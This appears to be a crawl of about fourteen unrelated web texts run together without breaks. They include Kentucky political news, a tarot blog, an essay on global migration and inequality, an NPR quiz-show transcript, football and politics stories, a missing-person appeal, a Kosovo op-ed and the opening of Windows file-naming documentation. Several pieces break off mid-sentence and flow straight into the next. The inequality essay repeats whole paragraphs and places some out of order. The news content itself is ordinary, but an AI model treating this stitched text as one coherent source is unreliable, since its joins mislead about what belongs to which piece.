Republican state Senate President Robert Stivers said senators have been “exploring options to address the situation.” But he said he did not want the governor to call the legislature back to Frankfort to deal with it.
“Religious liberties are an important part of the basis of our republic and all statutory options available should be considered,” Stivers said. “This is a very complex issue and perhaps it would be appropriate for the governor to issue a temporary solution via executive order until the legislature can craft a more comprehensive solution in January.”
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This material may not be published, broadcast, rewritten, or redistributed.
This Story Filed UnderIs Tarot natural? Is it supernatural? Where does it fit in the Great Cosmic LEGO Set of our universe?
I ask these questions largely out of an idle sense of curiosity and a childish desire to use a LEGO metaphor on my blog. But I think these questions are worth asking, because the Tarot community–and the hoobedy-hoobedy community more broadly–doesn’t spend nearly enough time pinning down its fundamental ontology. We all throw around vague notions of how we think Tarot works, often with recourse to ill-defined notions of “energy”, “vibrations”, or (Gods have mercy on my soul) “spirit guides”. And while any of these is a perfectly acceptable explanation of how Tarot works, and just as liable to be correct as any other, none of them is (are?) meaningful unless we know what these terms actually mean and where they belong in our inventory of the aforementioned Great Cosmic LEGO Set.
When most people talk about nature (or, if you prefer, Nature), they’re using a romanticized definition of nature as distinct from artifice. They mean the sort of raw, untamed nature that made Nathaniel Hawthorne quake in his boots: thunderstorms and unexplored forests and the terrifying, soundless depths of the ocean.* Nature is meant to be the force of the world as it existed before the Bronze Age, wild and unknowable. This is painted in contrast with artifice, with everything that is a product of human invention. Rivers, we’re told, are natural. Canals are not. Birds are natural. Airplanes are not. Drinking tea made from willow bark is natural. Taking aspirin is not.
And yet, weirdly, both of these categories–the natural and the man-made–are understood to operate according to the same rules. The same natural laws govern canals as do rivers. The same chemical composition is what makes aspirin and willow tea pain relievers. Bernoulli’s
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our Canadian ketchup to be made in Canada. If we could do this tomorrow we would, so we are working on making this happen very soon," she said in an email.
French's made headlines and sparked online Canadian patriotism when a Facebook post about its Leamington-grown tomatoes went viral. It then made headlines again when Canadian grocery giant Loblaws announced it would no longer stock French's ketchup.
That decision sparked online outrage and Loblaws reversed its decision a day later.Working on global inequality makes you ask questions you would never ask otherwise simply because they would not occur to you. It is like going from a two-dimensional world to a three-dimensional: even the familiar suddenly appears unusual.
Take the convergence economics. In theory of growth convergence indicates the regularity that poorer countries tend to grow faster than richer countries because they can use all the knowledge and innovations that the richer have already produced. Simply put, when you are at the technological frontier, you need to invent something new all the time and you may grow at say, 1 or 1.5 percent per year. When you are below the frontier, you can copy and grow at the higher rate. (Of course, economists talk of “conditional convergence” because the theory assumes that all other factors, that in reality differ between the rich and poor countries, are the same.) Nevertheless, there is some evidence for conditional convergence in empirical studies and it is, for obvious reasons, considered a good thing.
Now, when you look more closely you realize that convergence is studied in terms of countries but in reality it deals with the convergence in living standards between individuals. We express it in terms of a poorer country catching up with the richer because we are used to doing our economics in terms of nation-states and implicitly assume that there is no movement of people between countries. But in reality convergence is nothing else but the diminution of income inequality between all individuals in the world.
To see this point, think in the familiar terms of the nation-state: no one in his or her right mind would argue that people from the Appalachian in the US should not be allowed to move to California because the average income in the Appalachia might go down. In fact, both the average income in California and in Appalachia might go down, and both inequalities in the Appalachia and California might go up, and yet the overall US income would rise and US inequality would be less. So, how best to achieve such a decrease in inequality between people? Economic theory, common sense and simulation exercises clearly show that it can be best done by allowing free movement of people. Such a policy would increase global income (as any free movement of factors of production in principle should), reduce global poverty and global inequality. It is immaterial, from a global perspective, that it might slower between-country convergence ( as some recent results for EU indicate ) because countries are, as we have just seen, not the relevant entities in global economics: the relevant entities are individuals and their welfare levels. If people’s incomes are more equal, it is wholly immaterial if the gap between the average incomes in A and B increases.To see this point, think in the familiar terms of the nation-state: no one in his or her right mind would argue that people from the Appalachian in the US should not be allowed to move to California because the average income in the Appalachia might go down. In fact, both the average income in California and in Appalachia might go down, and both inequalities in the Appalachia and California might go up, and yet the overall US income would rise and US inequality would be less.
The argument is identical for the world as a whole: a high-skilled Nigerian who moves to the United States might lower the mean income of Nigeria (and might also lower the mean income of the US), and might in addition cause both inequalities to go up, and yet the global GDP would be greater and global inequality would be less. In short, the world would be a better place. The objections to migration, namely that it might reduce the average income in recipient countries, raised by Paul Collier in his book “Exodus” are immaterial because the real subject of our analysis is not the nation-state but the individual.
soon find their lives there intolerable, not least because providing public goods for a very small population may be exceedingly expensive. Thus far the argument seems to me entirely incontestable. But then things get a bit messier. Pushing this logic further, and using the results of the Gallup poll that show the percentage of people who desire to move out of their countries, we find that in the case of unimpeded global migration some countries could lose up to 90 percent of their populations. They may cease to exist: everybody but a few thousand people might move out. Even the few who might at first remain, couldsoon find their lives there intolerable, not least because providing public goods for a very small population may be exceedingly expensive.
So, what?—it could be asked. If Chad, Liberia and Mauritania cease to exist because everybody wants to move to Italy and France, why should one be concerned: people have freely chosen to be better off in Italy and France, and that’s all there is to that. But then, it could be asked, would not disappearance of countries also mean disappearance of distinct cultures, languages and religions? Yes, but if people do not care about these cultures, languages and religions, why should they be maintained?
Destroying the variety of human traditions is not costless, and I can see that one might believe that maintaining variety of languages and cultures is not less important that maintaining variety of the flora and fauna in the world, but I wonder who needs to bear the cost of that. Should people in Mali be forced to live in Mali because somebody in London thinks that some variety of human existence would be lost if they all came to England? I am not wholly insensitive to this argument, but I think that it would be more honest to say openly that the cost of maintaining this “worldwide heritage” is borne not by those who defend it in theory but by those in Mali who are not allowed to move out.Lightning Fill In The Blank
All the news we couldn't fit anywhere else.
PETER SAGAL, Host:
Now onto our final game, Lightning Fill in the Blank. Each of our players will have 60 seconds in which to answer as many fill in the blank questions as they can. Each correct answer now worth two points. Carl, can you give us the scores?
CARL KASELL, Host:
Maz Jobrani has the lead, Peter. He has four points. Amy Dickinson has three. Roy Blount, Jr., has two.
AMY DICKINSON: Maz.
SAGAL: Maz.
MAZ JOBRANI: Yeah, I did not expect to be here right now.
SAGAL: All right.
(SOUNDBITE OF LAUGHTER)
SAGAL: Well, Roy, you're in third place. You're up first. The clock will start when I begin your first question. Fill in the blank. A gender bias suit against Wal-Mart and a lawsuit against Arizona's immigration law are among the cases on the blank's docket.
ROY BLOUNT JR: Supreme Court.
SAGAL: Right.
(SOUNDBITE OF BELL)
SAGAL: India's foreign minister said he was going to complain to Washington after the Indian ambassador was forced to submit to a blank at a Mississippi airport.
BLOUNT JR: A pat-down.
SAGAL: Right.
(SOUNDBITE OF BELL)
SAGAL: After a long battle with breast cancer, author and political wife blank died Tuesday at age 61.
BLOUNT JR: Elizabeth Edwards.
SAGAL: Yes.
(SOUNDBITE OF BELL)
SAGAL: On Thursday, students in London protesting tuition hikes attacked a car containing blank.
BLOUNT JR: Containing the queen's underwear.
SAGAL: No.
(SOUNDBITE OF LAUGHTER)
SAGAL: Prince Charles.
SAGAL: The most memorable moment of the annual Christmas parade in Richmond, Virginia, was when the giant inflatable Rudolph blanked.
BLOUNT JR: It sank didn't it?
SAGAL: It did. It got impaled on a traffic light.
(SOUNDBITE OF BELL)
SAGAL: Sports analysts questioned the inclusion of Sylvester Stallone as one of this year's inductees into the blank hall of fame.
BLOUNT JR: Boxing.
SAGAL: Right.
(SOUNDBITE OF BELL)
SAGAL: Forty years after he was convicted of indecent exposure at a Miami concert, Doors singer blank was pardoned.
BLOUNT JR: Jim Morrison.
SAGAL: Right.
(SOUNDBITE OF BELL)
SAGAL: To get back at his cheating ex-girlfriend, a man told the website Reddit that he tweaked her Netflix list so it would blank.
(SOUNDBITE OF GONG)
BLOUNT JR: He tweaked her Netflix. So it would just be all terrible, boring movies.
SAGAL: No. He tweaked it so that it would recommend movies that'd remind her she was unfaithful.
(SOUNDBITE OF LAUGHTER)
SAGAL: His girlfriend cheated on him, so he spent hours rating movies in her Netflix account to get his message across. And soon the woman was receiving e- mails from Netflix saying, here are some movies we think you will enjoy: "Unfaithful," "The Scarlet Letter," "Indecent Proposal," "Whore," "Slutty Summer," and of course, "Bambi."
(SOUNDBITE OF LAUGHTER)
BLOUNT JR: "Bambi"?
SAGAL: "Bambi."
DICKINSON: It sounds like a catch.
SAGAL: They asked him about "Bambi." He said, I'm a fan of non sequiturs, he said.
DICKINSON: No.
(SOUNDBITE OF LAUGHTER)
SAGAL: Carl, how did Roy do on our quiz?
KASELL: Roy had six correct answers for 12 more points. He now has 14 points and Roy has the lead.
SAGAL: Well done.
(SOUNDBITE OF APPLAUSE)
SAGAL: All right. Okay, Amy, you're up next. Fill in the blank. The return of the SpaceX Dragon capsule from low orbit marked the first successful flight by a private blank.
DICKINSON: Commercial like space launch.
SAGAL: Yeah, spacecraft.
(SOUNDBITE OF BELL)
SAGAL: Hopes for a revived economy were bolstered this week as fewer people than expected applied for blank benefits.
DICKINSON: Unemployment.
SAGAL: Right.
(SOUNDBITE OF BELL)
SAGAL: Amid escalating tensions, the top diplomat from China met with the leader of blank this week.
DICKINSON: North Korea.
SAGAL: Right.
(SOUNDBITE OF BELL)
SAGAL: A senior policy adviser who described President Obama as, quote, "a hard-boiled guy" was talking about blank.
DICKINSON: Basketball.
SAGAL: No, about how the president likes his eggs.
(SOUNDBITE OF LAUGHTER)
SAGAL: Charles Dickens books "A Tale of Two Cities" and "Great Expectations" were the latest picks in blank's book club.
DICKINSON: Oprah.
SAGAL: Right.
(SOUNDBITE OF BELL)
SAGAL: To mark the 30th anniversary of his death, fans of blank gathered in Strawberry Fields in Central Park.
DICKINSON: John Lennon.
SAGAL: Right.
(SOUNDBITE OF BELL)
SAGAL: Instead of installing traffic lights, Police in the Czech Republic installed blank at dangerous intersections.
(SOUNDBITE OF GONG)
DICKINSON: Kittens.
SAGAL: No.
DICKINSON: No.
SAGAL: They installed cardboard cutouts of policewomen in mini skirts.
(SOUNDBITE OF LAUGHTER)
DICKINSON: Of course they did.
SAGAL: They hoped it would reduce accidents. And sure enough, the number of accidents doubled.
(SOUNDBITE OF LAUGHTER)
SAGAL: Drivers were incensed at the plan. One man saying, quote, "The cut-outs are distracting. I mean, mini-skirts, in this weather?" However, the thing that seemed to make men angry the most was that the cutouts refused to give them their phone numbers.
(SOUNDBITE OF LAUGHTER)
SAGAL: Carl, how did Amy do on our quiz?
KASELL: Amy had five correct answers for ten more points. She now has 13 points, but Roy still has the lead with 14.
SAGAL: All right.
(SOUNDBITE OF APPLAUSE)
SAGAL: How many then does Maz need to win?
KASELL: Five to tie, six to win outright.
SAGAL: Okay, Maz, this is for the game. Fill in the blank. The websites of MasterCard, Visa and Amazon were among those targeted by supporters of blank.
JOBRANI: WikiLeaks.
SAGAL: Right.
(SOUNDBITE OF BELL)
SAGAL: The Senate tabled a vote on the DREAM Act, which would provide a path to citizenship for blank.
JOBRANI: Immigrant kids.
SAGAL: Right, children of illegal immigrants.
(SOUNDBITE OF BELL)
SAGAL: Appearing on "60 Minutes" last Sunday, Mark Zuckerberg announced changes to user profiles on blank.
JOBRANI: Facebook.
SAGAL: Right.
(SOUNDBITE OF BELL)
SAGAL: Former Dallas Cowboys quarterback and "Monday Night Football" anchor Dandy blank died at age 72.
JOBRANI: Don Meredith.
SAGAL: Right.
(SOUNDBITE OF BELL)
SAGAL: As a challenge to Amazon.com, Google launched a new e-blank store.
JOBRANI: Books.
SAGAL: Right.
(SOUNDBITE OF BELL)
SAGAL: On Wednesday night, the "Myth Busters" episode featured an appearance by blank.
JOBRANI: Santa Claus.
SAGAL: No, President Obama. After an Idaho Sheriff was shot, the man who told police, quote, "I shot the sheriff" was not arrested because blank.
(SOUNDBITE OF GONG)
JOBRANI: The man who said - because he shot the deputy?
SAGAL: No, because he was the sheriff.
(SOUNDBITE OF LAUGHTER)
(SOUNDBITE OF APPLAUSE)
SAGAL: That's good, though. That's good. Sheriff Lorin Nielson of Idaho was admiring his new gun when he accidentally shot the fleshy part of his hand. I can say I shot the sheriff, he joked. Luckily, although he did shoot the sheriff, he did not shoot the deputy, and was not charged with any wrongdoing.
(SOUNDBITE OF LAUGHTER)
SAGAL: Carl, did Maz do well enough to win?
KASELL: He needed at least five correct answers to tie and he had five correct answers. So Maz Jobrani and Roy Blount, Jr., are this week's co-champions.
SAGAL: Well done. Well done.
DICKINSON: Wow.
(SOUNDBITE OF APPLAUSE)
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NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.Welcome, Democrats! Please say hello to Lincoln Chafee, the former governor and senator from Rhode Island. Despite never having run in a Democratic primary — he’s been an independent and a Republican — Chafee is announcing Wednesday that he’s running for the Democratic nomination for president. Why? He seems to be focusing his bid on Hillary Clinton’s vote for the Iraq War and his vote against it.
The problem for Chafee is that this is 2015, not 2007. Back then, the Iraq War was at the forefront of the public’s mind. An April 2007 Gallup survey found that 21 percent of Democrats said the Iraq War was the country’s most important problem, and an additional 13 percent said the “fear of war.” This gave then-Sen. Barack Obama, who spoke out against the Iraq War from the start, a wide opening in his run against Clinton. Among those voters who said the Iraq War was most important, Obama beat Clinton. Clinton beat Obama on the two other major issues (the economy and health care).
Today, few Democratic voters are thinking about Iraq. In March 2015, just 3 percent of Democrats said the Iraq War was the most important problem in Gallup’s poll. Only 1 percent said the most important problem was the “fear of war.”
Without this issue, Chafee has little to stand on in a Democratic primary. Chafee had a more conservative voting record than Clinton in Congress and issued more conservative public information statements than Clinton, and his donors have generally been more conservative. Oh, and who can forget that Sen. Bernie Sanders is more liberal than Chafee and also voted against the Iraq War?
Chafee is polling at 1 percent or less nationally and in Iowa and New Hampshire, and there is absolutely no reason to think he will ever be competitive in the Democratic primary.PFA Premier League team of the year 2017
Chelsea and Tottenham have both had four of their players named in the Professional Footballers' Association Premier League team of the year.
Defenders Gary Cahill and David Luiz and midfielders N'Golo Kante and Eden Hazard are Chelsea's representatives.
Tottenham's quartet are defenders Kyle Walker and Danny Rose, midfielder Dele Alli and forward Harry Kane.
Manchester United goalkeeper David de Gea, Liverpool's Sadio Mane and Everton forward Romelu Lukaku are also picked.
The divisional teams of the year have also been announced ahead of the 44th PFA Awards, which are being held in London on Sunday, 23 April.
The PFA Players' Player of the Year and PFA Young Player of the Year will also be revealed at the event.
The votes were provided by PFA members from 100 clubs from the Premier League, Football League and Women's Super League.
Do you agree? Scroll down to the bottom of this page to select your own Premier League team of the year.
Four from Brighton in Championship team
PFA Championship team of the year 2017
Four players from recently promoted Brighton feature in the Championship team of the year - Goalkeeper David Stockdale, defenders Bruno and Lewis Dunk and the division's player of the year, midfielder Anthony Knockaert.
Newcastle provide three players in defender Jamaal Lascelles, midfielder Jonjo Shelvey and forward Dwight Gayle. Chris Wood of Leeds, the top-scorer with 25 league goals, is also selected.
Fulham have two players in the team - 16-year-old defender Ryan Sessegnon and Tom Cairney, who is named in midfield along with Huddersfield's Aaron Mooy.
Blades have five in League One side
PFA League One team of the year 2017
Sheffield United, who sealed promotion to the Championship on 8 April, have five players in the League One team of the year.
They are goalkeeper Simon Moore, defender Kieron Freeman, midfielders Mark Duffy and John Fleck and the country's top goalscorer, Billy Sharp, who has 27 goals to his name this campaign.
Bolton, who can join the Blades in the second tier if results go their way this weekend, provide defenders Mark Beevers and David Wheater.
Bradford left-back James Meredith completes the back four, while Scunthorpe's Josh Morris (with 19 goals to his name) and Erhun Oztumer (scorer of 14) of Walsall are in midfield with Bury's James Vaughan (22 goals) in attack.
Promoted trio dominate League Two team
PFA League Two team of the year 2017
The top three teams from League Two, Doncaster, Plymouth and Portsmouth, all of whom have already secured their promotion provide seven players for the fourth tier team of the year.
Rovers' James Coppinger and John Marquis (who has scored 26 this season) are in midfield and attack respectively, with Portsmouth duo Christian Burgess and Enda Stevens named in defence.
Argyle's Luke McCormick is in goal, along with team-mates Sonny Bradley (defence) and 14-goal Graham Carey (midfield).
The other players are Blackpool defender Kelvin Mellor, midfielders Nicky Adams and Luke Berry (of Carlisle and Cambridge respectively) and Luton forward Danny Hylton (21 goals).
Manchester City quintet in WSL XI
PFA WSL team of the year 2017
Women's Super League winners Manchester City have five players in the division's team of the year.
Three defenders - Lucy Bronze, Jenny Beattie and Steph Houghton - are selected, along with midfielder Jill Scott and forward Jane Ross.
Chelsea have two representatives in midfielder Karen Carney and forward Eniola Aluko, with Reading's Mary Earps in goal, Birmingham's Jess Carter in defence and Arsenal's Jordan Nobbs and Liverpool's Caroline Weir in midfield.@alextdaugherty @amysherman1
When a computer expert who worked for congressional Democrats was accused of stealing computers and data systems in February, members of Congress cut him loose within days, leaving Imran Awan with no supporters five months later.
Except for Rep. Debbie Wasserman Schultz.
The Weston Democrat has not explained why she continued to employ Awan until Tuesday, when she fired him — after he was arrested on bank-fraud charges at Dulles International Airport in Virginia attempting to board a flight to Pakistan.
Nor has she elaborated on what work Awan did for her after he lost access to the House computer network.
She declined to answer questions about Awan in Washington on Wednesday, and her spokesman, David Damron, accompanied her to the House floor, instructing a reporter that Wasserman Schultz would not take questions about her former employee.
Wednesday evening, Wasserman Schultz released a statement:
“After details of the investigation were reviewed with us, my office was provided no evidence to indicate that laws had been broken, which over time, raised troubling concerns about due process, fair treatment and potential ethnic and religious profiling,” she said. “Upon learning of his arrest, he was terminated.”
Damron told the Miami Herald that Awan was still working for Wasserman Schultz in an advisory role until Monday, and was fired Tuesday. Wasserman Schultz was one of more than two dozen Democrats in Congress who employed Awan, 37, and four other information-technology staffers accused in February of stealing computer systems.
But months after Awan was fired by everyone else, Wasserman Schultz grilled Capitol Police Chief Matthew Verderosa in May over why computer equipment was confiscated from her office as part of the investigation into Awan even though she was not under investigation.
“Under my understanding the Capitol police are not able to confiscate member’s equipment when the member is not under investigation,” Wasserman Schultz said. “It is their equipment and it is supposed to be returned.”
Verderosa told Wasserman Schultz that he couldn’t return the equipment without the permission of the investigation.
“Until that’s accomplished I can’t return the equipment,” Verderosa said.
Wasserman Schultz was not pleased.
“I think you are violating rules when you conduct your business that way and you should expect that there will be consequences,” she said.
The Capitol Police declined to comment on the investigation.
Read more here.In looking at Kickstarter projects, the ones that get funded are those that are mostly already complete. People are hesitant to invest in something that isn't proven; there's no way for them to know if they'll actually get the benefits promised or not.
If I had realized this sooner (I learned it about two weeks ago), I would have held off on posting this project. No worries, though! I will continue work, and the same "rewards" will be available.
I'll start building the framework on my site at http://howtogameonlinux.com (note that this hasn't been built yet, but hopefully will be by this weekend). I'll take pre-orders and post updates there, with the first being next week hopefully.
Progress Report
And since I don't want to leave you thinking that nothing has been done yet, rest assured that everything is progressing nicely. Right now, I'm mostly asking people questions. I've been spending more time on Linux forums to get feedback and find out what people are interested in. I'll be posting another of these questions tomorrow at http://echolinux.com so be sure to check in and give whatever feedback you have.
The book idea has been split in two per some early feedback I received. There will be a manual that will be technically focused on "How to Game on Linux": what to look for in hardware, how to get the games, and recommendations of games in each category. I had intended to avoid this, but it has been more requested and generated more interest than my original idea. The original will still go forward because I'm interested in it, and that one will be an investigative and descriptive book that includes talking to game developers, students, and teachers about Linux and its role in the industry.
Have thoughts? Send them my way at [email protected]. Thanks for your early support, and know that it is not in vain. I'm still excited about working on this, and I will continue moving forward.PROVO, Utah – Dec. 3, 2015 (Gephardt Daily) — Former NFL great and ESPN analyst Steve Young is making an emotional plea, asking the public’s help in finding his missing cousin, Nicole Coletti Harris. The married mother of four was last seen outside her Provo home Oct. 24 and has not been heard from since.
The following press release, including Young’s statements, was issued Thursday morning by Harris’ family.
PROVO, Utah—December 2, 2015—Steve Young is an ESPN analyst, Super Bowl–winning former NFL quarterback, and family man. A member of his family—Young’s cousin, Nicole Coletti Harris—hasn’t been seen since October 24, 2015. Steve Young has joined his family in great concern to learn her whereabouts in the nearly six weeks since her disappearance. Now Young has issued a statement to the media to generate leads to bring Nicole home.
“My cousin, Nicole Coletti Harris (Nikki), has been missing for over a month,” Steve Young wrote. “It’s as if she vanished. The last sighting was a neighbor just two houses away from her home. This leaves our family concerned and wondering.” Nicole is a beautiful, 41-year-old mother of five children. She went missing in October without a cell phone, purse, or any apparent preparation for a long absence.
“This time of year reminds us even more how precious our families are to us,” Steve Young continued. “Her children and family are very important to her, and her five children and grandchild need her back, as do we, her extended family.” With the passage of Thanksgiving and approach of Christmas, Young’s family is increasingly worried about the lack of helpful leads that could bring Nicole back to themselves.
Provo Police detectives continue to investigate Nicole Coletti Harris’s disappearance. Credible leads about Nicole’s whereabouts should be reported to the Provo Police at 801-852-6210 (case #15PR28200).
Citizens are encouraged to phone 911 if Nicole is spotted, and to remember her physical characteristics (information and photos of Nicole at www.findnicole.com):
41 years old
Caucasian female
Short blonde hair
5 feet, 9 inches tall
150 pounds
Sherry Young, Steve Young’s mother, described the family’s distress over Nicole’s disappearance in a November 18 Deseret News column. “It is horrible not knowing because if one lets the mind go to possibilities, it is much worse than having closure, no matter what is found. No closure means you chase down someone who walks like Nikki or laughs like her. What if it goes on and on? It is torture.”After the turbulent situation in Catalonia following the independence vote on 1 October, Serbia was quick to accuse the international community of double standards regarding Kosovo.
Whenever there is an issue regarding territorial disputes, international recognition or independence, Kosovo is the first topic to be brought into the discussion by Serbia.
Kosovo citizens from the Albanian majority - 93 percent of the population - were committed to gaining independence. (Photo: European Parliament)
But, in fact, Kosovo's independence is completely dissimilar to the Catalan scenario.
Kosovo has different historical, legal, and factual specifics in relation to other such cases. This makes it a unique case and, as a result, incomparable with other situations.
For a start, the country went through a long negotiation process with Serbia to attain its independence, facilitated by the international community.
Kosovo's independence
The negotiations in Vienna were a direct result of a UN-led international process for determining Kosovo's political status.
A former Finnish president, Martti Ahtisaari, who served as the UN secretary-general's special envoy, was the international mediator during the negotiations on Kosovo's statehood.
That was followed by the declaration of independence, which was in full accordance with international law and in compliance with the provisions of UN Security Council Resolution 1244 of 10 June 1999.
Moreover, this was also asserted by the International Court of Justice's opinion of 22 July 2010.
In this advisory opinion, the court concluded that "the adoption of the declaration of independence of 17 February 2008 did not violate general international law."
Accordingly, the UN's principal judicial organ concluded that "the adoption of that declaration did not violate any applicable rule of international law."
Following on from that, on 9 September 2010, the UN general assembly welcomed the EU's willingness to facilitate a dialogue between Serbia and Kosovo to normalise bilateral relations.
The EU's involvement follows its stated intention of promoting peace, security and stability in the Western Balkans.
In 2011, Kosovo and Serbia started a regular technical and political dialogue under EU mediation, with the aim of normalising relations before mutual diplomatic recognition takes place.
As a result, the first trilateral agreement between Kosovo, Serbia and the EU was reached in April 2013.
Differences to Catalonia
Kosovo had been a part of the former Socialist Federal Republic of Yugoslavia, which no longer exists.
During its existence, Kosovo had the same state attributes as the other federal units, including a constitution, and had its representatives in all federal institutions - in the collective presidency, the assembly, the executive council or federal government, and the constitutional court.
It also had its own presidency, assembly, government, police, territorial defence, constitutional court, intelligence service, central bank and secretariat for international relations.
At the federal level, Kosovo had the right to veto, and equal participation - along with other federal units - in all key federal institutions such as: the collective presidency, the federal government and the federal assembly.
Kosovo's well-defined boundaries - as well as the international borders of the former Yugoslav Federation and those of other entities - were protected by the constitution, and could not be changed without the consent of the federal units, for instance the parliament of Kosovo.
The dissolution of the former Yugoslavia began with the violent destruction of Kosovo's federal status in 1989 by Serbia, which illegally stripped Kosovo's autonomy through the police duress and military force.
Now, to compare with the Kosovo case, Catalonia's autonomy was not illegally revoked by Spain.
The Catalan people did not face the violent repression, crimes against civilians and ethnic cleansing by Spain - the way Serbia did in Kosovo toward Albanian majority.
The events in Kosovo between 1989 and 1999, caused by Serbia, were characterised as a humanitarian catastrophe and a serious threat to international peace and security - something that fortunately did not happen in Catalonia.
Kosovo's independence is also a result of the dissolution of the former Yugoslavia, which was confirmed by UN Resolution 777.
In Kosovo, there were almost 1 million people forced to flee the country and some 25,000 people killed by the Serbian regime. This was not the case in Catalonia.
Kosovo citizens from the Albanian majority - or 93 percent of the population - were committed to gaining independence. This is not the case in Catalonia, where there is division between proclaiming independence and mediating with Madrid.
The factors mentioned above, regarding Kosovo, are not found in any other cases - including Catalonia - making Kosovo's independence completely unique and also in line with norms in international law.
Serbia - what about Crimea?
While Serbia is complaining of the EU's double standards and finds similarities between Kosovo and Catalonia, we should not forget Serbia's attitude towards Russia's annexation of Crimea.
In fact, Serbia never condemned the annexation of Crimea by the Russian Federation, despite the fact that Ukraine was a state and Crimea formed an integral part of its territory.
Even before the USSR's disintegration, Crimea's status as part of Ukraine's territory should have been respected from the perspective of international law.
In light of this, EU member states confirmed that Kosovo's independence was legitimate under international law and diplomatic policy, whereas the annexation of Crimea was an act of illegitimate of aggression by Russian power.
Serbia, as an EU candidate country itself, should align with EU foreign policy and condemn the annexation of Crimea. Although this was required by the EU, Serbia has never showed any will or commitment to align with the bloc on this matter.
Every intention of Serbia to compare Kosovo with other cases in the world is to buy time. It is to avoid fulfilling the EU-facilitated agreements reached with Kosovo, and an intention to block the independent country on its path towards international recognition and state building.
Following the vote in Catalonia, Serbia should instead pay more attention to a possible referendum for the independence of Vojvodina or Sanxhak, instead of Kosovo, whose independence is a one-way road, especially after the signing of the first contractual agreement with the EU - the Stabilisation and Association Agreement.
Kosovo's independence is already determined, and this agreement is the country's first step towards the EU accession negotiation process.
Mimoza Ahmetaj is a former Kosovan minister for EU integration.EDEN PRAIRIE, Minn. -- Before the Minnesota Vikings fired Leslie Frazier on Dec. 30, there might not have been any player more outspoken in his desire for Frazier to stay than running back Adrian Peterson. The 2012 NFL MVP said after both of the Vikings' last two games that he wanted Frazier back as the coach, adding he planned to talk to ownership about his desire for Frazier to remain in charge.
Peterson got a chance to do that in a brief conversation before Frazier was fired, he told ESPN.com on Wednesday, but he quickly knew his input wasn't going to steer the Vikings' decision-makers in a different direction. Now that Peterson's had a chance to process the Vikings' decision to fire Frazier -- whom he called "a guy I trusted, a guy I believed in," -- the running back said he's moving forward with cautious optimism after the Vikings' decision to hire former Cincinnati Bengals defensive coordinator Mike Zimmer.
Adrian Peterson is anxious to see how Mike Zimmer will handle the Vikings offense. Adam Bettcher/Getty Images
"Trust me, I'm watching. I'm watching to see exactly what we're doing, just to see exactly what direction we're headed in," Peterson said. "I've been keeping my eyes open with the head coach; I knew he was probably the guy they were going to go with. It wasn't too much of a surprise. I've been watching for the coordinators -- are they going to keep Bill Musgrave around or what direction they're going to go with. With a new coach, that's when things start happening, too, that's all part of the process.”
The running back hadn't talked to Zimmer as of Wednesday afternoon, but expected he would be in touch with the new coach shortly. He met one-on-one with general manager Rick Spielman after Frazier was fired, as many players did, to give him an idea of what he wanted to see from a new coach. But Peterson -- who'd been stunned the offseason before by the Vikings' decision to trade receiver Percy Harvin -- maintained a sober understanding of the business side of things.
"I've seen players come in with the Vikings -- guys I figured I'd probably play with until I finished playing with the Vikings -- and they're gone," Peterson said. "At first, it was, ‘How could they let that person go?' It didn't really take me too long to kind of get over it and accept it for what it was. He (Frazier) is out, so we start a new chapter. My personal feelings, I didn't let it get in the way with business.”
Now that Zimmer is in place, Peterson said he'll anxiously await news about what the Vikings will do on offense. ESPN NFL Insider Adam Schefter reported the team has received permission to talk with Cleveland Browns offensive coordinator Norv Turner, and Zimmer has been linked to offensive coordinator candidates like former Jacksonville Jaguars head coach Mike Mularkey, former Detroit Lions offensive coordinator Scott Linehan and Bengals quarterbacks coach Ken Zampese.
Whatever the Vikings do, Peterson said, he wants to see a game plan that will keep defenses honest. The Vikings have seen eight men or more in the box on 383 snaps during the last two seasons -- the second-most in the league, according to ESPN Stats and Information -- as teams have lined up to stop Peterson, effectively daring the Vikings' woeful passing game to beat them.
"When I play offense, I want to be able to have you on your toes, where you're not really expecting what's coming," Peterson said. "Being versatile offensively [is the biggest thing I'm looking for]."
Peterson called Musgrave a "good guy, a great mind," but said he hadn't given much thought to whether Zimmer would keep Musgrave on the staff.
The running back, who carried just 18 times in the Vikings' last four games, was replaced on the Pro Bowl roster by Eddie Lacy on Wednesday. He made the decision to let his body heal up after spraining his right foot and straining his groin during the 2013 season, but one thing in particular made it hard to skip the Pro Bowl -- the possibility that Deion Sanders might play.
"That's the only thing I was going to regret," he said. "Not the cash, not winning the Pro Bowl, not winning MVP. That's the only thing I was going to regret -- not getting the chance
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hopefully very, very close to rejecting ACTA. That Sapiro doesn't even acknowledge this true state of things is really rather incredible. As with her boss, she seems to be actively insulting the intelligence of people who are concerned about ACTA, by pretending (completely falsely) that there is worldwide acceptance of ACTA already.[citation needed]This whole response is pretty insulting. Yes, part of the problem was the poorly worded original petition, but the fact that Sapiro doesn't address any of the actual concerns of ACTA, and then pretends everything's just peachy with the agreement (and totally ignores the major constitutional question about how the Executive Branch can sign a treaty covering powers only granted to the Congress without Congressional approval), suggests a White House and USTR that still thinks it's pulling a fast one over on the American public.
Filed Under: acta, miriam sapiro, ron kirk, ustr, we the people, white houseNaming Files, Paths, and Namespaces
17 minutes to read
In this article
All file systems supported by Windows use the concept of files and directories to access data stored on a disk or device. Windows developers working with the Windows APIs for file and device I/O should understand the various rules, conventions, and limitations of names for files and directories.
Data can be accessed from disks, devices, and network shares using file I/O APIs. Files and directories, along with namespaces, are part of the concept of a path, which is a string representation of where to get the data regardless if it's from a disk or a device or a network connection for a specific operation.
Some file systems, such as NTFS, support linked files and directories, which also follow file naming conventions and rules just as a regular file or directory would. For additional information, see Hard Links and Junctions and Reparse Points and File Operations.
For additional information, see the following subsections:
File and Directory Names
All file systems follow the same general naming conventions for an individual file: a base file name and an optional extension, separated by a period. However, each file system, such as NTFS, CDFS, exFAT, UDFS, FAT, and FAT32, can have specific and differing rules about the formation of the individual components in the path to a directory or file. Note that a directory is simply a file with a special attribute designating it as a directory, but otherwise must follow all the same naming rules as a regular file. Because the term directory simply refers to a special type of file as far as the file system is concerned, some reference material will use the general term file to encompass both concepts of directories and data files as such. Because of this, unless otherwise specified, any naming or usage rules or examples for a file should also apply to a directory. The term path refers to one or more directories, backslashes, and possibly a volume name. For more information, see the Paths section.
